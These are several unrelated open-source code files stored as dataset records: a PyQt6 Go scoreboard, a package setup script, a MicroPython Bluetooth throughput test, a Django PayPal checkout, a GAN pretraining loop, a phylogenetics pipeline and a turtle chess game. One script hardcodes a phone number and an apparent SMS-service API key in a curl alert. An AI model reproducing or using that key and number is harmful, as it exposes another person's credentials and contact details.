# color turn added for black\n self.updateCurrentPlayer(\"black: \" + self.player1)\n self.curent_turn.setStyleSheet(\"\"\"background-image: url(\"icons/black.png\");\"\"\")\n self.update()\n\n \"\"\"function updated the score of both players\"\"\"\n def updateScores(self, s1, s2):\n # assign variables\n self.scoreBlack = s1\n self.scoreWhite = s2\n # displaying the stones captured\n self.label_collected.setText(\n \"CAPTURED BY:\\n\\nBlack : \" + str(self.scoreBlack) + \" White : \" + str(self.scoreWhite) + \"\\n \")\n self.label_collected.setStyleSheet(\"font-weight: bold; color:#003049;\")\n\n\n \"\"\"dialog for results output\"\"\"\n def showResults(self, w, h, s1, s2, message):\n # dialog for game settings and display results\n self.totalScoreB = self.scoreBlack + s2 # calculates stones and territory total for black\n self.totalScoreW = self.scoreWhite + s1 # calculates stones and territory for white\n game_setup_window = QDialog(self)\n layout = QGridLayout() # layout of dialog\n trophy = QPixmap('./icons/trophy.png') # pixmap added at the top of dialog\n winnerIcon = QLabel()\n winnerIcon.setPixmap(trophy)\n\n # players names labels\n name1 = QLabel(\"Player 1 : \" + str(self.player1).capitalize() + \"\\n\\tScore: \" + str(self.totalScoreB) + \"\\n\\tTerritory: \" + str(s2) +\"\\n\\tCaptured Stones: \" + str(self.scoreBlack))\n name2 = QLabel(\"Player 2 : \" + str(self.player2).capitalize() + \"\\n\\tScore: \" + str(self.totalScoreW) + \"\\n\\tTerritory: \" + str(s1) +\"\\n\\tCaptured Stones: \" + str(self.scoreWhite))\n # style for player names display\n name1.setFont(QFont('Baskerville', 16))\n name1.setStyleSheet(\"font-weight: bold\")\n name2.setFont(QFont('Baskerville', 16))\n name2.setStyleSheet(\"font-weight: bold\")\n # passing message through window title depending on the state of the game\n game_setup_window.setWindowTitle(message)\n game_setup_window.setMaximumWidth(700)\n game_setup_window.setMaximumHeight(500)\n game_setup_window.setStyleSheet(\"\"\"background-image: url(\"icons/binding_dark.png\"); color:#ffffff;width:400px;height:300px\"\"\")\n # styling for text\n name1.setStyleSheet(\"background-color:#000000;color:#ffffff\")\n name2.setStyleSheet(\"background-color:#000000;color:#ffffff\")\n # determine winner\n if s1 > s2:\n winner = \"Player 2!\"\n else:\n winner = \"Player 1!\"\n #display results\n win = QLabel(\" Winner is \" + winner)\n win.setStyleSheet(\"color:#2b9348;text-align:center; margin: auto\")\n win.setFont(QFont('Baskerville', 18))\n #button closes the window\n start_game = QPushButton(QIcon(\"./icons/ok.png\"), str(\"Ok\"), self)\n start_game.clicked.connect(game_setup_window.close)\n\n # stylesheet for button\n start_game.setAutoFillBackground(True)\n start_game.setStyleSheet(\"\"\" \n QPushButton{\n font-weight:1000;\n color:#f6fff8; \n font-family:'Baskerville'; \n background-color:#000000;\n font-size: 14px;\n height: 50px;\n width: 110px;\n border-color: #f6fff8;\n\n }\n QPushButton:hover {\n color:#00a896;\n }\n \"\"\")\n # upon pausing, \"Ok\" and pause game\n if message == \"Game Pause\":\n layout.addWidget(start_game, 7, 0, Qt.AlignmentFlag.AlignRight)\n start_game.clicked.connect(lambda: [print(self.gameBoard.boardArray)])\n\n # positioning of the buttons and display data if winner\n elif s1 != 0 or s2 != 0:\n layout.addWidget(winnerIcon, 1, 0, Qt.AlignmentFlag.AlignCenter)\n layout.addWidget(win, 3, 0)\n layout.addWidget(name1, 4, 0)\n layout.addWidget(name2, 5, 0)\n else: #else if nobody scored display minimal data\n win.setText(\"Nobody Scored!\")\n layout.addWidget(win, 2, 0)\n layout.addWidget(name1, 3, 0)\n layout.addWidget(name2, 4, 0)\n\n # set layout of dialog\n game_setup_window.setLayout(layout)\n # upon setting selection\n game_setup_window.exec() # show dialog\n\n \"\"\"closes window when triggered\"\"\"\n def close_clicked(self):\n self.close()\n","repo_name":"robvzla/ux-ui-pyqt6-board-game","sub_path":"code/score_board.py","file_name":"score_board.py","file_ext":"py","file_size_in_byte":13221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"6780839339","text":"import io\nimport re\nfrom os import path\nfrom setuptools import setup\n\n\nPATH_HERE = path.abspath(path.dirname(__file__))\n\n\ndef read(f_relative_path: str) -> str:\n \"\"\"Return the contents of file f_relative_path as a string, or a list of strings if read_lines is True.\"\"\"\n here = path.dirname(path.abspath(__file__))\n with io.open(path.join(here, f_relative_path), mode=\"rt\", encoding=\"utf8\") as f:\n return f.read()\n\n\ndef get_version() -> str:\n \"\"\"Return the package version as defined in kx_core/__init__.py.\"\"\"\n version = read(\"pdf_utils/__version__.py\")\n return re.search(r\"__version__ = \\\"(.*?)\\\"\", version).group(1)\n\n\n# Get the long description from the README file\nwith open(path.join(PATH_HERE, 'README.md')) as fp:\n long_description = fp.read()\n\n# Get the list of required packages\nwith open(path.join(PATH_HERE, \"requirements.txt\")) as fp:\n requirements = [req.rstrip() for req in fp.readlines() if \"-r\" not in req]\n\n\nsetup(\n name='pdf-utils',\n version=get_version(),\n url='https://bitbucket.kendaya.net/projects/KXLAB/repos/pdf-tools/',\n author=u\"Kendaxa\",\n author_email=\"develop@kendaxa.com\",\n\n description='tools for reading and processing pdf content',\n long_description=long_description,\n long_description_content_type='text/x-rst',\n classifiers=[\n 'Development Status :: 3 - Alpha',\n # Indicate who your project is intended for\n 'Intended Audience :: Developers',\n 'Topic :: Software Development :: Build Tools',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.8',\n ],\n packages=[\"pdf_utils\"],\n include_package_data=True,\n python_requires='>=3.6',\n install_requires=requirements\n)\n","repo_name":"KENDAXA-Development/pdf-utils","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1836,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"22"} +{"seq_id":"32474751109","text":"# Send L2CAP data as fast as possible and time it.\n\nfrom micropython import const\nimport time, machine, bluetooth, random\n\nif not hasattr(bluetooth.BLE, \"l2cap_connect\"):\n print(\"SKIP\")\n raise SystemExit\n\nTIMEOUT_MS = 1000\n\n_IRQ_CENTRAL_CONNECT = const(1)\n_IRQ_CENTRAL_DISCONNECT = const(2)\n_IRQ_PERIPHERAL_CONNECT = const(7)\n_IRQ_PERIPHERAL_DISCONNECT = const(8)\n_IRQ_L2CAP_ACCEPT = const(22)\n_IRQ_L2CAP_CONNECT = const(23)\n_IRQ_L2CAP_DISCONNECT = const(24)\n_IRQ_L2CAP_RECV = const(25)\n_IRQ_L2CAP_SEND_READY = const(26)\n\n_L2CAP_PSM = const(22)\n_L2CAP_MTU = const(512)\n\n_PAYLOAD_LEN = const(_L2CAP_MTU)\n_NUM_PAYLOADS = const(20)\n\n_RANDOM_SEED = 22\n\n\nwaiting_events = {}\n\n\ndef irq(event, data):\n if event == _IRQ_CENTRAL_CONNECT:\n conn_handle, addr_type, addr = data\n waiting_events[event] = conn_handle\n elif event == _IRQ_PERIPHERAL_CONNECT:\n conn_handle, addr_type, addr = data\n waiting_events[event] = conn_handle\n elif event == _IRQ_L2CAP_ACCEPT:\n conn_handle, cid, psm, our_mtu, peer_mtu = data\n waiting_events[event] = (conn_handle, cid, psm)\n elif event == _IRQ_L2CAP_CONNECT:\n conn_handle, cid, psm, our_mtu, peer_mtu = data\n waiting_events[event] = (conn_handle, cid, psm, our_mtu, peer_mtu)\n\n if event not in waiting_events:\n waiting_events[event] = None\n\n\ndef wait_for_event(event, timeout_ms):\n t0 = time.ticks_ms()\n while time.ticks_diff(time.ticks_ms(), t0) < timeout_ms:\n if event in waiting_events:\n return waiting_events.pop(event)\n machine.idle()\n raise ValueError(\"Timeout waiting for {}\".format(event))\n\n\ndef send_data(ble, conn_handle, cid):\n buf = bytearray(_PAYLOAD_LEN)\n for i in range(_NUM_PAYLOADS):\n for j in range(_PAYLOAD_LEN):\n buf[j] = random.randint(0, 255)\n if not ble.l2cap_send(conn_handle, cid, buf):\n wait_for_event(_IRQ_L2CAP_SEND_READY, TIMEOUT_MS)\n\n\ndef recv_data(ble, conn_handle, cid):\n buf = bytearray(_PAYLOAD_LEN)\n recv_bytes = 0\n recv_correct = 0\n expected_bytes = _PAYLOAD_LEN * _NUM_PAYLOADS\n ticks_first_byte = 0\n while recv_bytes < expected_bytes:\n wait_for_event(_IRQ_L2CAP_RECV, TIMEOUT_MS)\n if not ticks_first_byte:\n ticks_first_byte = time.ticks_ms()\n while True:\n n = ble.l2cap_recvinto(conn_handle, cid, buf)\n if n == 0:\n break\n recv_bytes += n\n for i in range(n):\n if buf[i] == random.randint(0, 255):\n recv_correct += 1\n ticks_end = time.ticks_ms()\n return recv_bytes, recv_correct, time.ticks_diff(ticks_end, ticks_first_byte)\n\n\n# Acting in peripheral role.\ndef instance0():\n multitest.globals(BDADDR=ble.config(\"mac\"))\n ble.gap_advertise(20_000, b\"\\x02\\x01\\x06\\x04\\xffMPY\")\n multitest.next()\n try:\n # Wait for central to connect to us.\n conn_handle = wait_for_event(_IRQ_CENTRAL_CONNECT, TIMEOUT_MS)\n\n ble.l2cap_listen(_L2CAP_PSM, _L2CAP_MTU)\n\n conn_handle, cid, psm = wait_for_event(_IRQ_L2CAP_ACCEPT, TIMEOUT_MS)\n conn_handle, cid, psm, our_mtu, peer_mtu = wait_for_event(_IRQ_L2CAP_CONNECT, TIMEOUT_MS)\n\n random.seed(_RANDOM_SEED)\n\n send_data(ble, conn_handle, cid)\n\n wait_for_event(_IRQ_L2CAP_DISCONNECT, TIMEOUT_MS)\n\n # Wait for the central to disconnect.\n wait_for_event(_IRQ_CENTRAL_DISCONNECT, TIMEOUT_MS)\n finally:\n ble.active(0)\n\n\n# Acting in central role.\ndef instance1():\n multitest.next()\n try:\n # Connect to peripheral and then disconnect.\n ble.gap_connect(*BDADDR)\n conn_handle = wait_for_event(_IRQ_PERIPHERAL_CONNECT, TIMEOUT_MS)\n\n ble.l2cap_connect(conn_handle, _L2CAP_PSM, _L2CAP_MTU)\n conn_handle, cid, psm, our_mtu, peer_mtu = wait_for_event(_IRQ_L2CAP_CONNECT, TIMEOUT_MS)\n\n random.seed(_RANDOM_SEED)\n\n recv_bytes, recv_correct, total_ticks = recv_data(ble, conn_handle, cid)\n\n # Disconnect channel.\n ble.l2cap_disconnect(conn_handle, cid)\n wait_for_event(_IRQ_L2CAP_DISCONNECT, TIMEOUT_MS)\n\n multitest.output_metric(\n \"Received {}/{} bytes in {} ms. {} B/s\".format(\n recv_bytes, recv_correct, total_ticks, recv_bytes * 1000 // total_ticks\n )\n )\n\n # Disconnect from peripheral.\n ble.gap_disconnect(conn_handle)\n wait_for_event(_IRQ_PERIPHERAL_DISCONNECT, TIMEOUT_MS)\n finally:\n ble.active(0)\n\n\nble = bluetooth.BLE()\nble.active(1)\nble.irq(irq)\n","repo_name":"micropython/micropython","sub_path":"tests/multi_bluetooth/perf_l2cap.py","file_name":"perf_l2cap.py","file_ext":"py","file_size_in_byte":4584,"program_lang":"python","lang":"en","doc_type":"code","stars":17509,"dataset":"github-code","pt":"22"} +{"seq_id":"38184881359","text":"#!/usr/bin/python3\n\"\"\"\n lists all State objects from a database\n\"\"\"\n\nif __name__ == \"__main__\":\n from sqlalchemy.orm import sessionmaker\n from model_state import Base, State\n import sys\n from sqlalchemy import (create_engine)\n\n engine = create_engine('mysql+mysqldb://{}:{}@localhost/{}'.format(\n sys.argv[1], sys.argv[2], sys.argv[3]), pool_pre_ping=True)\n Session = sessionmaker(bind=engine)\n session = Session()\n\n row = session.query(State).filter_by(id=2).first()\n\n if row:\n row.name = 'New Mexico'\n session.commit()\n\n session.close()\n","repo_name":"Motunblue/alx-higher_level_programming","sub_path":"0x0F-python-object_relational_mapping/12-model_state_update_id_2.py","file_name":"12-model_state_update_id_2.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"72998239736","text":"import click\n\n@click.command('demo', help='this is a demo plugin')\ndef demo():\n click.echo('hello demo')\n\n\nplugin = {\n 'name': 'demo',\n 'description': 'demo plugin',\n 'author': 'tkorays',\n 'email': 'tkorays@hotmail.com',\n 'functions': {\n 'demo': demo\n },\n 'deps': []\n}\n","repo_name":"tkorays/combo-cli","sub_path":"Combo/Core/Plugins/DemoPlugin.py","file_name":"DemoPlugin.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"27910536482","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom games.models import Games\nfrom checkout.models import Order\nfrom users.models import User\nfrom django.conf import settings\nfrom django.urls import reverse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom paypal.standard.forms import PayPalPaymentsForm\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.mail import send_mail\nfrom random import randrange\n# Create your views here.\n\n@login_required\ndef checkout(request, game_id):\n req_game = Games.objects.get(pk=game_id)\n if Order.objects.filter(user_id = request.user, game = req_game).exists():\n isOwned = True\n return render(request, 'checkoutForms/checkout.html', {'game': req_game,'isOwned': isOwned})\n \n if (Order.objects.count() != 0):\n invoice_id = Order.objects.latest('id')\n invoice_id = invoice_id.id + 100\n else:\n invoice_id = randrange(100,1000)\n \n host = request.get_host()\n paypal_dict = {\n 'business': settings.PAYPAL_RECEIVER_EMAIL,\n 'amount': str(req_game.price),\n 'item_name': str(req_game.name),\n 'invoice': 'INVOICE-NO-{}'.format(invoice_id),\n 'currency_code': 'USD',\n 'notify_url': 'http://{}{}'.format(host, reverse('paypal-ipn')),\n 'return_url': 'http://{}{}'.format(host, reverse('checkout:paymentSuccess', kwargs= {'game_id': game_id})),\n 'cancel_url': 'http://{}{}'.format(host, reverse('checkout:paymentFailed', kwargs= {'game_id': game_id}))\n }\n \n paypal_payment_button = PayPalPaymentsForm(initial = paypal_dict)\n \n return render(request, 'checkoutForms/checkout.html', {'game': req_game, 'paypal_payment_button': paypal_payment_button})\n\ndef paymentSuccess(request, game_id):\n req_game = Games.objects.get(pk=game_id)\n newOrder = Order(user_id = request.user, game = req_game, cost = req_game.price)\n newOrder.save()\n send_mail(subject=\"Your game purchase was successfull\", message=f\"Thank you {request.user.name} for your purchase of {req_game.name}.\\nWe hope you will enjoy it.\"\n , fail_silently= False, from_email=\"settings.EMAIL_HOST_USER\", recipient_list=[User.objects.get(pk=request.user.id).email])\n return render(request, 'checkoutForms/paymentSuccess.html')\n\ndef paymentFailed(request, game_id):\n return render(request, 'checkoutForms/paymentFailed.html')","repo_name":"MazenYasser/steam-clone","sub_path":"steam-django/steam_clone_django/checkout/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2417,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"22"} +{"seq_id":"36930149514","text":"import torch.optim as optim\nfrom torchvision.utils import save_image\nfrom _datetime import datetime\nfrom libs.compute import *\nfrom libs.constant import *\nfrom libs.model import *\n\nif __name__ == \"__main__\":\n\n start_time = datetime.now()\n\n learning_rate = LEARNING_RATE\n\n # Creating generator and discriminator\n generator = Generator()\n\n generator = nn.DataParallel(generator)\n\n if torch.cuda.is_available():\n generator.cuda(device=device)\n\n # Loading Training and Test Set Data\n trainLoader1, trainLoader2, trainLoader_cross, testLoader = data_loader()\n\n ### MSE Loss and Optimizer\n criterion = nn.MSELoss()\n\n optimizer_g = optim.Adam(generator.parameters(), lr=LEARNING_RATE, betas=(BETA1, BETA2))\n\n ### GENERATOR PRE-TRAINING LOOP\n print(\"Pre-training loop starting\")\n batches_done = 0\n running_loss = 0.0\n running_losslist = []\n for epoch in range(NUM_EPOCHS_PRETRAIN):\n\n for param_group in optimizer_g.param_groups:\n param_group['lr'] = adjustLearningRate(learning_rate, epoch_num=epoch, decay_rate=DECAY_RATE)\n\n for i, (target, input) in enumerate(trainLoader1, 0):\n unenhanced_image = input[0]\n enhanced_image = target[0]\n unenhanced = Variable(unenhanced_image.type(Tensor_gpu))\n enhanced = Variable(enhanced_image.type(Tensor_gpu))\n\n optimizer_g.zero_grad()\n\n generated_enhanced_image = generator(enhanced)\n loss = criterion(unenhanced, generated_enhanced_image)\n loss.backward(retain_graph=True)\n optimizer_g.step()\n\n # Print statistics\n running_loss += loss.item()\n running_losslist.append(loss.item())\n f = open(\"./models/log/log_PreTraining.txt\", \"a+\")\n f.write(\"[Epoch %d/%d] [Batch %d/%d] [G loss: %f]\\n\" % (\n epoch + 1, NUM_EPOCHS_PRETRAIN + 1, i + 1, len(trainLoader1), loss.item()))\n f.close()\n # if i % 200 == 200: # print every 200 mini-batches\n if i % 1 == 0:\n print('[%d, %5d] loss: %.5f' % (epoch + 1, i + 1, running_loss / 5))\n running_loss = 0.0\n save_image(generated_enhanced_image.data,\n \"./models/pretrain_images/1Way/gan1_pretrain_%d_%d.png\" % (epoch + 1, i + 1),\n nrow=8,\n normalize=True)\n torch.save(generator.state_dict(),\n './models/pretrain_checkpoint/1Way/gan1_pretrain_' + str(epoch + 1) + '_' + str(i + 1) + '.pth')\n\n end_time = datetime.now()\n print(end_time-start_time)\n\n f = open(\"./models/log/log_PreTraining_LossList.txt\", \"a+\")\n for item in running_losslist:\n f.write('%f\\n' % item)\n f.close()\n","repo_name":"mtics/deep-photo-enhancer","sub_path":"1WayGAN_PreTrain.py","file_name":"1WayGAN_PreTrain.py","file_ext":"py","file_size_in_byte":2819,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"22"} +{"seq_id":"31862076542","text":"import os\nimport sys\nimport re\nimport subprocess\nfrom Bio import SeqIO\nfrom tqdm import tqdm\nfrom operator import add\n\nsuccess = 0\n\ntry:\n for rep in range(0, 10):\n subprocess.call(\"Rscript subsampletree.R\", shell = True)\n \n files = os.listdir(\"labels\")\n files.remove(\".DS_Store\")\n\n accessions = []\n allaccessions = []\n\n for f in files:\n accs = open(\"labels/\"+f, \"r\").readlines()\n accessions.append([a.strip(\"\\n\") for a in accs])\n for x in accs:\n allaccessions.append(x)\n allaccessions = [x.strip(\"\\n\") for x in allaccessions]\n numseqs = len(accs)\n\n outfiles = []\n outfilenames = []\n for f in range(0, len(files)):\n outfiles.append(open(\"sequences/seqs\"+str(f+1)+\".nuc\", \"w\"))\n outfilenames.append(\"sequences/seqs\"+str(f+1)+\".nuc\")\n outfiles[f].write(\" \"+str(numseqs)+\" 3822\\n\\n\")\n\n counts = [0]*len(files)\n totalcounts = 0\n coveredacc = []\n filepath = sys.argv[1]\n with open(filepath, mode = \"r\") as handle:\n for record in tqdm(SeqIO.parse(handle, 'fasta')):\n accession = record.id\n if accession in set(allaccessions):\n totalcounts += 1\n for f in range(0, len(files)):\n if accession in accessions[f]:\n coveredacc.append(accession)\n counts[f] += 1\n outfiles[f].write(\"\\n\"+accession+\" \")\n sequence = list(record.seq)[21562:25384]\n sequence = \"\".join(sequence)\n outfiles[f].write(sequence+\"\\n\")\n\n print(counts)\n print(totalcounts)\n\n for f in outfiles:\n f.close()\n\n for x in allaccessions:\n if x not in coveredacc:\n print(x)\n\n\n\n treefiles = os.listdir(\"trees\")\n if \".DS_Store\" in treefiles:\n treefiles.remove(\".DS_Store\")\n\n for f in treefiles:\n tree = open(\"trees/\"+f, \"r\").readlines()[0]\n outfile = open(\"trees/\"+f, \"w\")\n outfile.write(\" \"+str(numseqs)+\" 1\\n\")\n tree = re.sub(\"\\\\).\\\\....:\", \"):\", tree)\n tree = re.sub(\"\\\\).\\\\....;\", \");\", tree)\n outfile.write(tree)\n\n print(outfilenames)\n print(treefiles)\n for i in range(0, len(files)):\n if counts[i] < numseqs:\n continue\n \n infile = open(\"basemltemplate.txt\", \"r\").readlines()\n outfile = open(\"baseml\"+str(i)+\".ctl\", \"w\")\n for line in infile:\n outfile.write(line.replace(\"SEQUENCES\", \"sequences/seqs\"+str(i+1)+\".nuc\").replace(\"TREEFILE\", \"sampledtree\"+str(i+1)+\".nhx\"))\n outfile.close()\n \n try:\n subprocess.call(\"paml/bin/baseml\", shell = True)\n if os.path.isfile(\"rates\"):\n success += 1\n subprocess.call(\"Rscript harvestrates.R iteration\", shell = True)\n subprocess.call(\"rm rates\", shell = True)\n except:\n continue\n \n subprocess.call(\"Rscript harvestrates.R final\", shell = True)\n print(success)\n \nexcept:\n subprocess.call(\"curl http://textbelt.com/text -d number=353877910680 -d message=\\\"Somethings Gone Wrong\\\" -d key=e237256cdcb7af72df888a7558f92c0e97b0fb55OVbGpYEsvYujZXDCVi0Rtvom6 \", shell = \"True\")\n \n","repo_name":"ciarajudge/EvoCov","sub_path":"treecov.nosync/treepipe.py","file_name":"treepipe.py","file_ext":"py","file_size_in_byte":3564,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"22"} +{"seq_id":"15055787747","text":"import turtle, math, copy, time, random\nfrom piece import Piece\nfrom move import Move\nimport chess\n\nDEPTH = 3\n\ntr = turtle.Turtle()\nsc = tr.getscreen()\nturn_tr = turtle.Turtle()\n\nturn_tr_pos = {\n Piece.White: [425, -385,[\"White Turn!\", True, \"left\", ('Arial', 20, 'italic', 'underline')]],\n Piece.Black: [425, 365,[\"Black Turn!\", True, \"left\", ('Arial', 20, 'italic', 'underline')]],\n \"promote\": [425, 0,[\"Promoting!\", True, \"left\", ('Arial', 20, 'italic', 'underline')]]\n}\n\nRIGHT_CLICK = 3\n\nclass Board:\n def __init__(self, mode, ver):\n # board representation\n self.startx = -400\n self.starty = 400\n self.board = [0] * 64\n self.old_board = [0] * 64\n self.stamps = [0] * 64\n self.stamp_ids = []\n self.display_color = [0] * 64\n self.first_update = True\n self.pieces_taken = []\n\n # ai and mode info\n self.ai_ver = ver\n self.mode = mode\n self.best_promote_piece = Piece.Queen\n self.ai_turn = False\n\n # move info\n self.selected_index = None\n self.selected_moves = []\n self.all_moves = []\n self.last_moves = []\n self.turn_color = Piece.White\n self.king_castle = {\n Piece.King|Piece.White: True, \n Piece.King|Piece.Black: True\n }\n self.rook_castle = {\n 0: True,\n 7: True,\n 56: True,\n 63: True\n }\n self.total_available_moves = 0\n self.mid_game = True\n self.capture_moves = []\n\n # stat stuff\n self.white_moves = 0\n self.black_moves = 0\n self.white_captured = 0\n self.black_captured = 0\n self.time_start = 0\n self.time_end = 0\n self.leaves_reached = 0\n\n ## Not Used\n self.move_path = []\n\n for key in Piece.piece_map:\n sc.register_shape(Piece.piece_map[key])\n\n # draws the initial board\n # fairly self explanatory\n def draw_board(self):\n white = True;\n for rank in range(8):\n for file in range(8):\n tr.penup()\n x = self.startx+(file*100)\n y = self.starty-(rank*100)\n tr.setpos(x, y)\n tr.pendown()\n if white:\n tr.fillcolor(\"#f5edb8\")\n self.display_color[rank*8+file] = '#A6A17C'\n else:\n tr.fillcolor('#b3202a')\n self.display_color[rank*8+file] = '#591015'\n tr.begin_fill()\n for i in range(4):\n tr.forward(100)\n tr.right(90)\n tr.end_fill()\n white = not white\n white = not white \n sc.update()\n\n # loads a board state from a fen string\n # a fen string is a string that represents a board state\n def load_from_fen(self, fen):\n board_fen = fen.split()[0]\n file = 0\n rank = 0\n for ch in board_fen:\n if ch == '/':\n file = 0\n rank += 1\n else:\n if (ch.isdigit()):\n file += (ord(ch) - ord('0'))\n else:\n color = (Piece.White if ch.isupper() else Piece.Black)\n ptype = Piece.fen_map[ch.lower()]\n self.board[rank*8+file] = ptype | color\n self.old_board[rank*8+file] = ptype|color\n file += 1\n \n # updates the board representation when needed\n # doesn't do redundant work\n def update_pieces(self):\n # iterates through the board\n for rank in range(8):\n for file in range(8):\n index = rank*8+file\n # checks if the piece needs to be updateds\n curr_piece = self.board[index]\n old_piece = self.old_board[index]\n if self.first_update or old_piece != curr_piece:\n self.old_board[index] = curr_piece\n tr.clearstamp(self.stamps[index])\n if curr_piece != 0:\n tr.shape(Piece.piece_map[curr_piece])\n tr.penup()\n tr.setpos(self.startx+(file*100)+50, self.starty-(rank*100)-50)\n tr.pendown()\n self.stamps[index] = tr.stamp() \n if curr_piece == 0:\n self.stamps[index] = 0\n sc.update()\n self.first_update = False\n\n def switch_turn_turtle(self, promoted=False):\n turn_tr.undo()\n if self.last_moves and self.last_moves[-1].promote and not promoted:\n args = turn_tr_pos[\"promote\"]\n else:\n args = turn_tr_pos[self.turn_color]\n turn_tr.penup()\n turn_tr.goto(args[0],args[1])\n turn_tr.color('black')\n turn_tr.pendown()\n turn_tr.write(*args[2])\n\n # draws the promotion graphic to the left of the board\n def draw_promos(self):\n white = False\n tr.penup()\n x,y = self.startx-100,self.starty-50\n tr.goto(x, y+75)\n tr.write(\"Promotions\", True, align=\"center\", font=('Arial', 20, 'normal'))\n for key, value in Piece.promo_map.items():\n tr.goto(x,y)\n value[0], value[1] = x, y\n if white:\n tr.fillcolor(\"#f5edb8\")\n else:\n tr.fillcolor('#b3202a')\n tr.shape('square')\n tr.pencolor('black')\n tr.shapesize(5, 5, 3)\n tr.stamp()\n tr.shape(value[2])\n tr.stamp()\n y -= 100\n white = not white\n sc.update()\n\n def promote_piece(self, x=0, y=0):\n if not self.ai_turn:\n print('inside promote_helper')\n valid = False\n sc.onkeypress(None, \"z\")\n for key,value in Piece.promo_map.items():\n if (value[0] <= x <= value[0]+100) and (value[1] >= y >= value[1]-100):\n self.board[self.last_moves[-1].dst] = key|(self.last_moves[-1].src_p&24)\n valid = True\n self.update_pieces()\n if valid:\n self.change_turn(promoted=True)\n if self.mode == 'ai':\n if self.ai_turn:\n sc.onclick(None)\n self.ai_play()\n\n else:\n self.board[self.last_moves[-1].dst] = Piece.Queen|Piece.Black\n self.change_turn(promoted=True)\n\n # puts overlay on board for possible moves\n def display_possible_moves(self):\n tr.penup()\n for move in self.selected_moves:\n tr.shape('square')\n tr.color(self.display_color[move.dst])\n tr.shapesize(5, 5, 1)\n tr.shapesize(outline=2)\n tr.pencolor('black')\n rank = move.dst//8\n file = move.dst%8\n lx, ty = self.startx+(file*100), self.starty-(rank*100)\n tr.goto(lx+50, ty-50)\n self.stamp_ids.append(tr.stamp())\n if move.dst_p != Piece.Nothing:\n tr.shape(Piece.piece_map[move.dst_p])\n self.stamp_ids.append(tr.stamp())\n sc.update()\n\n # checks for the possibility of castling\n # updates valid moves if so\n def check_castle(self, src_ind, moves):\n src = self.board[src_ind]\n k_c = self.king_castle[src]\n if self.king_castle[src]:\n if self.board[src_ind+1] == Piece.Nothing and self.board[src_ind+2] == Piece.Nothing:\n if self.board[src_ind+3] == (self.turn_color|Piece.Rook) and self.rook_castle[src_ind+3]:\n r_c = [src_ind+3, self.rook_castle[src_ind+3]]\n moves.append(Move(src_ind, src_ind+2, src, self.board[src_ind+2], castle=[src_ind+3,src_ind+1, self.king_castle], king_c=k_c, rook_c=r_c))\n if ((self.board[src_ind-1] == Piece.Nothing) and (self.board[src_ind-2] == Piece.Nothing) and (self.board[src_ind-3] == Piece.Nothing)):\n if self.board[src_ind-4] == (self.turn_color|Piece.Rook) and self.rook_castle[src_ind-4]:\n r_c = [src_ind-4, self.rook_castle[src_ind-4]]\n moves.append(Move(src_ind, src_ind-2, src, self.board[src_ind-2], castle=[src_ind-4,src_ind-1, self.king_castle], king_c=k_c, rook_c=r_c))\n\n # finds the possible moves for a pawn\n # and adds them to valid moves\n def check_pawn(self, src_ind, moves):\n i = -1\n if self.turn_color == Piece.Black:\n i = 1\n\n dst_ind = src_ind+8*i\n src = self.board[src_ind]\n op_color = Piece.color_relation[self.turn_color][2]\n if (0 <= dst_ind <= 63):\n dst = self.board[dst_ind]\n if (dst == Piece.Nothing):\n if (0 <= dst_ind <= 7) or (56 <= dst_ind <= 63):\n moves.append(Move(src_ind, dst_ind, src, dst, promote=True))\n else:\n moves.append(Move(src_ind, dst_ind, src, dst))\n dst_ind = src_ind+16*i\n if ((48 <= src_ind <= 55) or (8 <= src_ind <= 15)) and (0 <= dst_ind <= 63):\n dst = self.board[dst_ind]\n if dst == Piece.Nothing:\n moves.append(Move(src_ind, dst_ind, src, dst, double=True))\n \n dst_ind = src_ind+7*i\n if ((dst_ind)//8) == ((src_ind//8)+1*i) and (0 <= dst_ind <= 63):\n dst = self.board[dst_ind]\n if (dst&24) == op_color:\n if (0 <= dst_ind <= 7) or (56 <= dst_ind <= 63):\n move = Move(src_ind, dst_ind, src, dst, promote=True)\n moves.append(move)\n self.capture_moves.append(move)\n else:\n move = Move(src_ind, dst_ind, src, dst)\n moves.append(move)\n self.capture_moves.append(move)\n else:\n if self.last_moves:\n if dst == Piece.Nothing and self.last_moves[-1].double:\n if self.last_moves[-1].src == (dst_ind+8*i):\n moves.append(Move(src_ind, dst_ind, src, dst, en_passant=[dst_ind+8*i*-1,op_color|Piece.Pawn]))\n \n dst_ind = src_ind+9*i\n if ((dst_ind)//8) == ((src_ind//8)+1*i) and (0 <= dst_ind <= 63):\n dst = self.board[dst_ind]\n if (dst&24) == op_color:\n if (0 <= dst_ind <= 7) or (56 <= dst_ind <= 63):\n move = Move(src_ind, dst_ind, src, dst, promote=True)\n moves.append(move)\n self.capture_moves.append(move)\n else:\n move = Move(src_ind, dst_ind, src, dst)\n moves.append(move)\n self.capture_moves.append(move)\n else:\n if self.last_moves:\n if dst == Piece.Nothing and self.last_moves[-1].double:\n if self.last_moves[-1].src == (dst_ind+8*i):\n moves.append(Move(src_ind, dst_ind, src, dst, en_passant=[dst_ind+8*i*-1,op_color|Piece.Pawn]))\n\n # finds the possible moves for a knight\n # and adds them to valid moves\n def check_knight(self, src_ind, moves):\n src = self.board[src_ind]\n m8 = src_ind%8\n op_color = Piece.color_relation[self.turn_color][2]\n\n dst_ind = src_ind+17\n if (dst_ind) < 64 and (m8) != 7:\n dst = self.board[dst_ind]\n if dst == Piece.Nothing:\n moves.append(Move(src_ind, dst_ind, src, 